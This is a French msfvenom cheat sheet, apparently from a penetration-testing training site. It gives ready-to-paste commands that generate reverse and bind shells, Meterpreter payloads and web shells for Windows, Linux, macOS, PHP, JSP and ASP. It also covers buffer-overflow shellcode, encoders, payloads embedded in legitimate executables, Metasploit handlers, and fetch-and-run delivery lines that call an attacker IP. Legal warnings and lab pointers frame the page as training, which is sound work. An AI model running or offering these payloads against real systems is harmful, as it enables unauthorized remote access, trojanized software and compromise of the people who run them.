Besoin d'un reverse shell ? Msfvenom le génère en une seule commande. Exécutable Windows, ELF Linux, shell web PHP ou shellcode brut pour votre exploit de buffer overflow : msfvenom les gère tous.
Cette cheat sheet msfvenom vous donne des commandes copier-coller pour chaque scénario de payload en 2026. Pas de superflu, juste des one-liners fonctionnels que vous pouvez utiliser immédiatement. Si vous débutez en exploitation, commencez par notre guide CTF pour débutants.
Référence d'une page imprimable avec toutes les commandes msfvenom essentielles.
🚀 Top 15 des Commandes Msfvenom (Prêtes à Copier-Coller)
Les commandes msfvenom les plus courantes pour référence rapide. Copiez,
collez, remplacez 10.10.10.10 par votre IP et 4444 par votre port.
# Meterpreter Windows (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Meterpreter Windows (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Meterpreter Linux (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Shell Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Reverse shell macOS
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell
# Shell web PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Shell web JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp
# Fichier WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
# Shell web ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp
# Shell web ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx
# Payload Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py
# One-liner Bash
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh
# PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1
# Shellcode (format C)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"
# Payload encodé (suppression de mauvais caractères, obfuscation basique)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -f exe -o encoded.exe
| Cible | Payload | Format |
|---|---|---|
| Windows x64 | windows/x64/meterpreter/reverse_tcp |
exe |
| Windows x86 | windows/meterpreter/reverse_tcp |
exe |
| Linux x64 | linux/x64/meterpreter/reverse_tcp |
elf |
| macOS | osx/x64/shell_reverse_tcp |
macho |
| PHP | php/meterpreter/reverse_tcp |
raw |
| Java/JSP | java/jsp_shell_reverse_tcp |
war |
| Bash | cmd/unix/reverse_bash |
raw |
| PowerShell | windows/x64/meterpreter/reverse_tcp |
psh |
📑 Navigation Rapide
🔧 Qu'est-ce que Msfvenom ?
Msfvenom est le générateur de payload du Metasploit Framework. Il a remplacé les anciens outils msfpayload et msfencode, combinant la génération de payload et l'encodage dans un seul utilitaire.
La cible se connecte à votre machine
Ouvre un port sur la cible, vous vous y connectez
Shell avancé avec fonctions de post-exploitation
Octets bruts pour exploits de buffer overflow
Msfvenom génère des payloads dans des formats pour chaque scénario : .exe
pour Windows, .elf pour Linux, .php pour les applications web
et shellcode brut pour le développement d'exploits. Il s'intègre avec le
multi/handler de Metasploit pour capturer les connexions entrantes.
Conseil : Connaissez le système d'exploitation et l'architecture de votre cible avant de générer des payloads. Un payload 64 bits ne s'exécutera pas sur un système 32 bits.
⚙️ Syntaxe Msfvenom de Base
Comprendre la syntaxe de msfvenom est crucial pour une génération efficace de payloads. La structure de commande de base suit un modèle cohérent que vous utiliserez pour chaque payload.
msfvenom -p <payload> LHOST=<ip> LPORT=<port> -f <format> -o <sortie>
Drapeaux Essentiels
| Drapeau | Description | Exemple |
|---|---|---|
-p |
Payload à utiliser | -p windows/meterpreter/reverse_tcp |
-f |
Format de sortie | -f exe |
-o |
Fichier de sortie | -o shell.exe |
-e |
Encodeur à utiliser | -e x86/shikata_ga_nai |
-i |
Itérations d'encodage | -i 5 |
-b |
Mauvais caractères à éviter | -b "\x00\x0a\x0d" |
-a |
Architecture | -a x64 |
--platform |
Plateforme cible | --platform windows |
Variables de Payload
| Variable | Description | Utilisé Pour |
|---|---|---|
LHOST |
Hôte local (votre IP) | Reverse shells |
LPORT |
Port local (votre listener) | Reverse shells |
RHOST |
Hôte distant (IP cible) | Bind shells |
RPORT |
Port distant (port cible) | Bind shells |
🔍 Lister les Payloads, Formats et Encodeurs
Avant de générer des payloads, vous devez savoir ce qui est disponible. Ces commandes vous aident à explorer les capacités de msfvenom et à trouver le bon payload pour votre scénario.
Commandes de Découverte
| Commande | Description |
|---|---|
msfvenom -l payloads |
Lister tous les payloads disponibles |
msfvenom -l formats |
Lister tous les formats de sortie |
msfvenom -l encoders |
Lister tous les encodeurs |
msfvenom -l archs |
Lister les architectures supportées |
msfvenom -l platforms |
Lister les plateformes supportées |
msfvenom -l encrypt |
Lister les options de chiffrement |
Filtrer les Payloads
# Lister uniquement les payloads Windows
msfvenom -l payloads | grep windows
# Lister les payloads reverse shell Linux
msfvenom -l payloads | grep linux | grep reverse
# Lister les payloads PHP
msfvenom -l payloads | grep php
# Afficher les options du payload
msfvenom -p windows/meterpreter/reverse_tcp --list-options
Conseil : Utilisez --list-options pour voir toutes les
options configurables pour un payload spécifique. Cela montre les variables requises et
optionnelles, vous aidant à personnaliser les payloads pour des scénarios spécifiques.
🪟 Payloads Windows
Windows est la cible la plus courante dans les tests d'intrusion. Générez des exécutables, des DLL, des scripts PowerShell et des packages MSI pour l'exploitation Windows.
💡 Choix Rapide : Pour la plupart des cibles Windows,
utilisez windows/x64/meterpreter/reverse_tcp avec le format exe.
Cela fonctionne sur Windows 7+ et vous donne toutes les capacités de Meterpreter.
Staged vs Stageless : Les noms de payload avec un /
(comme meterpreter/reverse_tcp) sont staged et nécessitent
un handler pour envoyer la deuxième étape. Les noms de payload avec un _
(comme meterpreter_reverse_tcp) sont stageless et contiennent
tout dans un seul fichier. Utilisez stageless lorsque les restrictions réseau peuvent
bloquer le téléchargement de l'étape.
Payloads Reverse Shell
# Shell reverse TCP Windows (32 bits)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Shell reverse TCP Windows (64 bits)
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell64.exe
# Meterpreter reverse TCP (32 bits)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter.exe
# Meterpreter reverse TCP (64 bits)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o meterpreter64.exe
# Meterpreter reverse HTTPS (chiffré, souvent autorisé en sortant)
msfvenom -p windows/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f exe -o https_shell.exe
Payloads Bind Shell
# Shell bind TCP Windows
msfvenom -p windows/shell_bind_tcp LPORT=4444 -f exe -o bind_shell.exe
# Meterpreter bind TCP
msfvenom -p windows/meterpreter/bind_tcp LPORT=4444 -f exe -o bind_meterpreter.exe
Formats Windows Alternatifs
| Format | Drapeau | Cas d'Usage |
|---|---|---|
| Exécutable | -f exe |
Exécutable Windows standard |
| DLL | -f dll |
Attaques de détournement de DLL |
| MSI | -f msi |
Package d'installation Windows |
| PowerShell | -f psh |
Script PowerShell |
| Commande PowerShell | -f psh-cmd |
One-liner pour injection de commande |
Payloads PowerShell
# Payload script PowerShell
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh -o shell.ps1
# One-liner PowerShell (pour injection de commande)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-cmd
# PowerShell encodé en Base64
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f psh-reflection
Pratiquez l'exploitation de systèmes Windows avec ces payloads dans le Lab Hack the Box de HackerDNA, qui simule un environnement Windows réel pour la pratique du test d'intrusion.
🐧 Payloads Linux
Les payloads Linux génèrent des binaires ELF pour les systèmes basés sur Unix. Fonctionne sur la plupart des distributions et peut cibler des appareils embarqués avec architectures ARM/MIPS.
💡 Choix Rapide : Pour les CTF et la plupart des
cibles Linux, utilisez linux/x64/shell_reverse_tcp avec le format elf.
Simple, fiable et fonctionne sans dépendances Meterpreter.
Payloads Reverse Shell
# Shell reverse TCP Linux (32 bits)
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Shell reverse TCP Linux (64 bits)
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell64
# Meterpreter reverse TCP (32 bits)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter
# Meterpreter reverse TCP (64 bits)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o meterpreter64
Payloads Bind Shell
# Shell bind TCP Linux
msfvenom -p linux/x86/shell_bind_tcp LPORT=4444 -f elf -o bind_shell
# Meterpreter bind TCP
msfvenom -p linux/x86/meterpreter/bind_tcp LPORT=4444 -f elf -o bind_meterpreter
Payloads ARM (Appareils IoT)
# Shell reverse ARM (Raspberry Pi, routeurs)
msfvenom -p linux/armle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o arm_shell
# Shell reverse MIPS (appareils embarqués)
msfvenom -p linux/mipsle/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o mips_shell
Conseil : Après avoir généré un payload Linux, rendez-le exécutable avec
chmod +x. Transférez-le vers la cible en utilisant wget, curl ou un serveur
HTTP Python, puis exécutez-le pour établir votre connexion.
🍎 Payloads macOS
Les payloads macOS génèrent des binaires Mach-O pour les systèmes Apple. Ceux-ci fonctionnent sur les Mac basés sur Intel et peuvent être utiles lors du ciblage de postes de travail de développeurs ou de serveurs macOS.
Payloads Reverse Shell
# Shell reverse TCP macOS (64 bits Intel)
msfvenom -p osx/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o shell
# Meterpreter reverse TCP macOS
msfvenom -p osx/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f macho -o meterpreter
# Reverse HTTPS macOS (souvent autorisé en sortant)
msfvenom -p osx/x64/meterpreter/reverse_https LHOST=10.10.10.10 LPORT=443 -f macho -o https_shell
Payloads Bind Shell
# Shell bind TCP macOS
msfvenom -p osx/x64/shell_bind_tcp LPORT=4444 -f macho -o bind_shell
# Meterpreter bind TCP macOS
msfvenom -p osx/x64/meterpreter/bind_tcp LPORT=4444 -f macho -o bind_meterpreter
Notes macOS : macOS moderne inclut Gatekeeper et des exigences de
signature de code. Les binaires non signés déclencheront des avertissements de sécurité.
Pour les tests autorisés sur les systèmes que vous contrôlez, vous pouvez supprimer
le drapeau de quarantaine avec xattr -d com.apple.quarantine shell ou
utiliser des méthodes de livraison alternatives comme les payloads Python ou Bash. Les
Mac Apple Silicon (M1/M2/M3) peuvent exécuter des payloads x64 via Rosetta 2.
🌐 Payloads pour Applications Web
Essentiels pour les exploits de téléchargement de fichiers, l'injection de commandes et les attaques d'applications web. Générez des payloads PHP, JSP, ASP, Python, Bash et NodeJS.
💡 Choix Rapide : Pour les vulnérabilités de
téléchargement de fichiers PHP, utilisez php/reverse_php avec le format
raw. N'oubliez pas d'ajouter manuellement la balise <?php !
Payloads PHP
# Shell reverse PHP
msfvenom -p php/reverse_php LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Meterpreter reverse TCP PHP
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.php
# Shell bind PHP
msfvenom -p php/bind_php LPORT=4444 -f raw -o bind_shell.php
Payloads JSP (Java)
# Shell reverse JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.jsp
# Shell bind JSP
msfvenom -p java/jsp_shell_bind_tcp LPORT=4444 -f raw -o bind_shell.jsp
# Fichier WAR (Tomcat)
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
Payloads ASP/ASPX
# Shell reverse ASP
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f asp -o shell.asp
# Shell reverse ASPX
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o shell.aspx
# Meterpreter ASPX
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f aspx -o meterpreter.aspx
Payloads Python
# Shell reverse Python
msfvenom -p python/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.py
# Meterpreter Python
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o meterpreter.py
Payloads Bash et Shell
# Shell reverse Bash (utile pour injection de commande)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.sh
# Shell reverse Netcat
msfvenom -p cmd/unix/reverse_netcat LHOST=10.10.10.10 LPORT=4444 -f raw
# Shell reverse Perl
msfvenom -p cmd/unix/reverse_perl LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.pl
# Shell reverse Ruby
msfvenom -p cmd/unix/reverse_ruby LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.rb
Payloads NodeJS
# Shell reverse NodeJS
msfvenom -p nodejs/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.js
# Shell bind NodeJS
msfvenom -p nodejs/shell_bind_tcp LPORT=4444 -f raw -o bind_shell.js
Piège du Payload PHP : Les payloads PHP de Msfvenom n'incluent PAS
la balise d'ouverture <?php. Vous devez l'ajouter manuellement :
echo '<?php ' | cat - shell.php > shell_final.php. Sans cela, le
payload s'exécute comme texte brut au lieu de code PHP.
Apprenez à exploiter les vulnérabilités de téléchargement de fichiers et à livrer des payloads web dans notre Cours de Sécurité des Applications Web. Pratiquez les téléchargements de shell PHP dans le Défi File Upload Bypass, ou testez les payloads d'injection SQL dans le Lab de Test d'Injection SQL.
💉 Génération de Shellcode
Le shellcode est du code machine brut utilisé dans les exploits de buffer overflow et le développement de malware personnalisé. Msfvenom génère du shellcode dans plusieurs formats pour différents langages de programmation.
Formats de Shellcode Courants
| Format | Drapeau | Cas d'Usage |
|---|---|---|
| Octets bruts | -f raw |
Shellcode binaire direct |
| Tableau C | -f c |
Développement d'exploit C |
| Python | -f python |
Scripts d'exploit Python |
| Ruby | -f ruby |
Scripts d'exploit Ruby |
| Hex | -f hex |
Chaîne hexadécimale |
| JavaScript | -f js_le |
Exploits de navigateur |
Exemples de Shellcode
# Shellcode C pour buffer overflow
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00"
# Shellcode Python
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f python -b "\x00\x0a\x0d"
# Shellcode brut (pour injection manuelle)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shellcode.bin
# Format hex
msfvenom -p linux/x86/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f hex
Taille du Payload et Calculs de Buffer
La taille du payload compte pour les exploits de buffer overflow. Votre shellcode doit tenir dans l'espace de buffer disponible. Msfvenom affiche les informations de taille pendant la génération.
# Vérifier la taille du payload avant de générer
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" 2>&1 | grep "Payload size"
# Tailles typiques (approximatives) :
# windows/shell_reverse_tcp: ~324 octets
# windows/meterpreter/reverse_tcp: ~354 octets (staged, stager uniquement)
# linux/x86/shell_reverse_tcp: ~68 octets
# cmd/unix/reverse_bash: ~60 octets
Conseil de Taille : Les payloads staged sont plus
petits car le stager télécharge le payload complet. Si l'espace de buffer est limité,
utilisez des payloads staged. Si vous avez besoin de fiabilité plutôt que de taille,
utilisez stageless. Ajoutez un NOP sled avec -n 16 pour l'alignement.
Éviter les Mauvais Caractères
Les exploits de buffer overflow ne peuvent souvent pas contenir certains octets (octets
nuls, retours à la ligne, etc.). Utilisez le drapeau -b pour exclure les
caractères problématiques de votre shellcode.
# Éviter l'octet nul et les mauvais caractères courants
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00\x0a\x0d\x20"
# Générer avec NOP sled pour l'alignement
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f c -b "\x00" -n 16
🛡️ Encodeurs et Encodage de Payload
Les encodeurs transforment les payloads pour supprimer les caractères problématiques et changer leur signature d'octets. Ceci est principalement utile pour supprimer les mauvais caractères dans les exploits de buffer overflow et réduire les correspondances de signatures triviales pendant les tests autorisés.
Vérification de Réalité : Les produits de sécurité modernes utilisent l'analyse comportementale, le sandboxing et l'apprentissage automatique. L'encodage seul ne bat pas ces défenses. L'utilisation légitime principale de l'encodage est la suppression de mauvais caractères du shellcode pour le développement d'exploits.
Encodeurs Populaires
| Encodeur | Évaluation | Description |
|---|---|---|
x86/shikata_ga_nai |
Excellent | Encodeur XOR polymorphique (le plus populaire) |
x64/xor |
Normal | Encodeur XOR 64 bits |
x86/fnstenv_mov |
Normal | Encodeur fnstenv/mov à longueur variable |
cmd/powershell_base64 |
Excellent | Encodeur PowerShell Base64 |
Commandes d'Encodage
# Itération d'encodage unique
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -f exe -o encoded.exe
# Itérations d'encodage multiples
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 10 -f exe -o multi_encoded.exe
# Chaîner plusieurs encodeurs
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -e x86/shikata_ga_nai -i 5 -e x86/countdown -i 3 -f exe -o chain_encoded.exe
Templates d'Exécutables
Intégrez des payloads dans des exécutables existants en utilisant le drapeau -x.
La fonctionnalité de l'exécutable original est préservée aux côtés du payload. C'est utile
pour comprendre comment les payloads peuvent être empaquetés pendant les évaluations autorisées.
# Intégrer un payload dans un exécutable existant
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -x /path/to/template.exe -k -f exe -o output.exe
Réalité de la Détection : Les produits de sécurité modernes analysent le comportement, pas seulement les signatures de fichiers. L'encodage et les templates sont détectés par l'analyse comportementale, le sandboxing et l'apprentissage automatique. Ces techniques sont éducatives pour comprendre les mécanismes de détection, pas pour vaincre les contrôles de sécurité.
📡 Configuration des Handlers Metasploit
Votre payload a besoin d'un endroit pour se connecter. Le module multi/handler
capture les connexions entrantes des payloads msfvenom.
payload msfvenom
multi/handler
payload à la cible
connexion reçue
Configuration de Handler de Base
# Démarrer la console Metasploit
msfconsole
# Configurer le handler
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
run
Handler en One-Liner
# Handler rapide sans console interactive
msfconsole -x "use exploit/multi/handler; set payload windows/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"
Fichier de Ressource Handler
Créez un fichier de ressource pour les configurations de handler fréquemment utilisées :
# Enregistrer comme handler.rc
use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 10.10.10.10
set LPORT 4444
set ExitOnSession false
set EnableStageEncoding true
run -j
# Exécuter avec : msfconsole -r handler.rc
| Option | Description |
|---|---|
ExitOnSession false |
Garder le handler en cours d'exécution après la connexion |
run -j |
Exécuter comme tâche en arrière-plan |
EnableStageEncoding true |
Chiffrer la transmission de l'étape |
Apprenez le workflow d'exploitation complet dans notre Cours de Test d'Intrusion Réseau, qui couvre Metasploit, msfvenom et les techniques de post-exploitation.
🎯 Scénarios Courants de Test d'Intrusion
Ces combinaisons de commandes prêtes à l'emploi couvrent les situations les plus fréquentes que vous rencontrerez lors des tests d'intrusion et des compétitions CTF.
Cible Windows (Réseau Interne)
# Générer le payload
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f exe -o shell.exe
# Transférer vers la cible (depuis la machine attaquante)
python3 -m http.server 80
# Sur la cible : powershell -c "(New-Object Net.WebClient).DownloadFile('http://10.10.10.10/shell.exe','shell.exe')"
# Démarrer le handler
msfconsole -x "use multi/handler; set payload windows/x64/meterpreter/reverse_tcp; set LHOST 10.10.10.10; set LPORT 4444; run"
Cible Linux (Style CTF)
# Générer le payload
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell
# Démarrer le listener (netcat est plus simple pour les shells de base)
nc -lvnp 4444
# Transférer et exécuter sur la cible
# wget http://10.10.10.10/shell && chmod +x shell && ./shell
Téléchargement de Shell Web
# Shell PHP pour vulnérabilité de téléchargement de fichier
msfvenom -p php/meterpreter/reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f raw -o shell.php
# Ajouter les balises PHP (la sortie msfvenom en a besoin)
echo '<?php ' | cat - shell.php > shell_final.php
# JSP pour Tomcat
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -f war -o shell.war
Exploit de Buffer Overflow
# Générer du shellcode en évitant les octets nuls
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -f python -v shellcode
# Avec NOP sled
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.10.10 LPORT=4444 -b "\x00" -n 16 -f python -v shellcode
Pratiquez les scénarios d'exécution de code à distance dans notre RCE Playground, conçu spécifiquement pour apprendre la livraison de payload et les techniques d'exploitation.
📋 Carte de Référence Rapide
Commandes msfvenom essentielles pour référence rapide. Mettez cette section en favori.
🎯 Commandes Les Plus Utilisées
| WIN | msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=IP LPORT=PORT -f exe -o shell.exe |
| LNX | msfvenom -p linux/x64/shell_reverse_tcp LHOST=IP LPORT=PORT -f elf -o shell |
| PHP | msfvenom -p php/reverse_php LHOST=IP LPORT=PORT -f raw -o shell.php |
| JSP | msfvenom -p java/jsp_shell_reverse_tcp LHOST=IP LPORT=PORT -f war -o shell.war |
| BOF | msfvenom -p windows/shell_reverse_tcp LHOST=IP LPORT=PORT -f c -b "\x00" |
⚡ Drapeaux Clés
-p
-f
-o
-e
-b
-i
-l
-a
⚖️ Considérations Légales et Éthiques
Avertissement Critique : Msfvenom génère des payloads d'exploitation. Les utiliser contre des systèmes sans autorisation écrite explicite est un crime grave dans pratiquement toutes les juridictions. Les violations d'accès non autorisé peuvent entraîner des amendes importantes et des peines d'emprisonnement.
- Obtenez toujours une autorisation écrite avant de tester tout système que vous ne possédez pas
- Utilisez des environnements de pratique légaux comme HackerDNA Labs, vos propres machines virtuelles ou des plateformes CTF autorisées
- Ne déployez jamais de payloads sur des systèmes de production sans autorisation explicite des propriétaires de systèmes
- Comprenez votre portée et restez dans les limites de votre accord d'engagement
- Documentez tout pendant les tests d'intrusion autorisés pour la protection juridique
Les compétences que vous développez avec msfvenom sont puissantes. Utilisez-les de manière responsable pour protéger les systèmes, pas pour leur nuire. Les hackers éthiques bâtissent des carrières sur la confiance et l'intégrité.
🔧 Dépannage des Problèmes Courants
Même les pentesters expérimentés rencontrent des problèmes de payload. Voici les problèmes les plus courants et comment les résoudre rapidement.
Incompatibilité de Payload du Handler
Problème : Le handler reçoit une connexion mais la session meurt immédiatement.
Solution : Le payload dans votre handler DOIT
correspondre exactement au payload utilisé dans msfvenom. windows/meterpreter/reverse_tcp
(staged) n'est PAS la même chose que windows/meterpreter_reverse_tcp (stageless).
Copiez-collez la chaîne de payload exacte.
Choisir le Bon LHOST
| Scénario | Utiliser Cette Interface |
|---|---|
| VPN (HTB, THM, labs) | tun0 - votre IP de tunnel VPN |
| Réseau local | eth0 ou wlan0 - votre IP locale |
| Derrière NAT (cible internet) | Votre IP publique + redirection de port, ou utilisez bind shell |
| Docker/VM | IP de l'hôte que la cible peut atteindre, pas l'IP du conteneur |
# Trouver vos IP d'interface
ip addr show | grep "inet "
# ou
ifconfig | grep "inet "
Le Payload ne S'Exécute Pas
- L'ELF Linux ne s'exécute pas : Avez-vous fait
chmod +x shell? - PHP affiche du code au lieu d'exécuter : Ajoutez la balise
<?phpau début - Windows bloque l'exécution : Le logiciel de sécurité l'a détecté; attendu dans les environnements protégés
- Quarantaine macOS : Exécutez
xattr -d com.apple.quarantine shell - Incompatibilité d'architecture : Payload 32 bits sur système 64 bits fonctionne généralement; 64 bits sur 32 bits échoue
Connexion Non Reçue
- Vérifier le pare-feu : Votre port d'écoute est-il ouvert ?
sudo ufw allow 4444/tcp - Vérifier que le handler s'exécute : Vérifiez avec
jobsdans msfconsole - Routage réseau : La cible peut-elle atteindre votre LHOST ? Testez avec ping si possible
- Mauvais port : Vérifiez que LPORT correspond entre le payload et le handler
🎮 Pratiquez Vos Compétences en Payload
Lire cette cheat sheet msfvenom vous donne les commandes. La pratique les rend naturelles. La différence entre connaître la syntaxe des payloads et exploiter avec succès une cible se résume à l'expérience pratique.
HackerDNA Labs fournit des machines vulnérables spécialement conçues pour pratiquer les techniques d'exploitation. Chaque lab simule des scénarios du monde réel où vous générerez des payloads, pratiquerez des techniques d'exploitation et établirez des shells dans un environnement sûr et légal.
Labs Recommandés pour la Pratique Msfvenom
- RCE Playground Pratiquez l'exécution de code à distance et la livraison de payload
- Lab Hack the Box Test d'intrusion complet nécessitant la génération de payload
- Lab Internal Pentest de réseau interne avec exploitation avancée
Commencez à générer des payloads aujourd'hui. Créez votre compte HackerDNA gratuit et pratiquez les techniques d'exploitation dans un environnement sûr et légal.
❓ Questions Fréquemment Posées
À quoi sert msfvenom ?
Msfvenom est un générateur de payload dans le Metasploit Framework. Les professionnels de la sécurité l'utilisent pour créer des reverse shells, des bind shells et du shellcode pour les tests d'intrusion autorisés. Il génère des payloads dans divers formats incluant des exécutables, des scripts et du shellcode brut.
Quelle est la différence entre un payload staged et stageless ?
Les payloads staged (comme windows/meterpreter/reverse_tcp) envoient un petit
stager initial qui télécharge le payload complet. Les payloads stageless (comme
windows/meterpreter_reverse_tcp, notez le trait de soulignement) contiennent
tout dans un seul package. Les payloads staged sont plus petits mais nécessitent une connexion
stable. Les payloads stageless sont plus grands mais plus fiables.
À quoi sert l'encodage ?
L'encodage transforme les octets de payload pour supprimer les caractères problématiques (comme les octets nuls) qui casseraient les exploits de buffer overflow. Les produits de sécurité modernes utilisent l'analyse comportementale, le sandboxing et l'apprentissage automatique qui détectent l'activité malveillante quelle que soit l'encodage. L'utilisation légitime principale est la suppression de mauvais caractères pour le développement d'exploits.
Comment savoir quel payload utiliser ?
Choisissez en fonction du système d'exploitation cible (Windows/Linux), de l'architecture (x86/x64) et des conditions réseau. Pour les réseaux internes, utilisez reverse_tcp. Pour les cibles internet derrière NAT, les bind shells peuvent mieux fonctionner. Lorsque HTTPS est autorisé en sortant, reverse_https réussit souvent. Utilisez Meterpreter pour les fonctionnalités complètes de post-exploitation, ou des payloads shell de base pour la simplicité.
📚 Ressources Connexes
Élargissez votre boîte à outils d'exploitation avec ces guides et cours connexes :
- Cours Cheat Sheet Metasploit - Commandes et techniques complètes du framework Metasploit
- Cheat Sheet Nmap - Reconnaissance avant exploitation
- Cours de Test d'Intrusion Réseau - Méthodologie Metasploit complète
- Cours d'Exécution de Code à Distance - Comprendre et exploiter les vulnérabilités RCE
- Guide de Préparation OSCP - Préparation de certification couvrant msfvenom en détail
- OffSec Metasploit Unleashed - Formation Metasploit complète gratuite d'OffSec
- Documentation Officielle Metasploit - Référence de Rapid7
🏁 Conclusion
Cette cheat sheet msfvenom couvre les commandes essentielles de génération de payload pour les tests d'intrusion en 2026. Des exécutables Windows aux shells web PHP, des reverse shells basiques aux payloads Meterpreter encodés, ces techniques forment la phase d'exploitation des évaluations de sécurité.
Rappelez-vous : la génération de payload n'est qu'une partie de l'exploitation réussie. Combinez msfvenom avec une reconnaissance solide, une configuration appropriée du handler et des techniques de post-exploitation pour des tests d'intrusion complets. Chaque shell réussi commence avec le bon payload pour la situation.
Rappel Légal : Ne générez et ne déployez des payloads que contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation écrite explicite de tester. L'accès non autorisé est un crime grave avec de graves conséquences juridiques.
Mettez cette référence en favori, pratiquez dans des environnements de lab légaux et développez les compétences d'exploitation qui séparent les professionnels de la sécurité des script kiddies.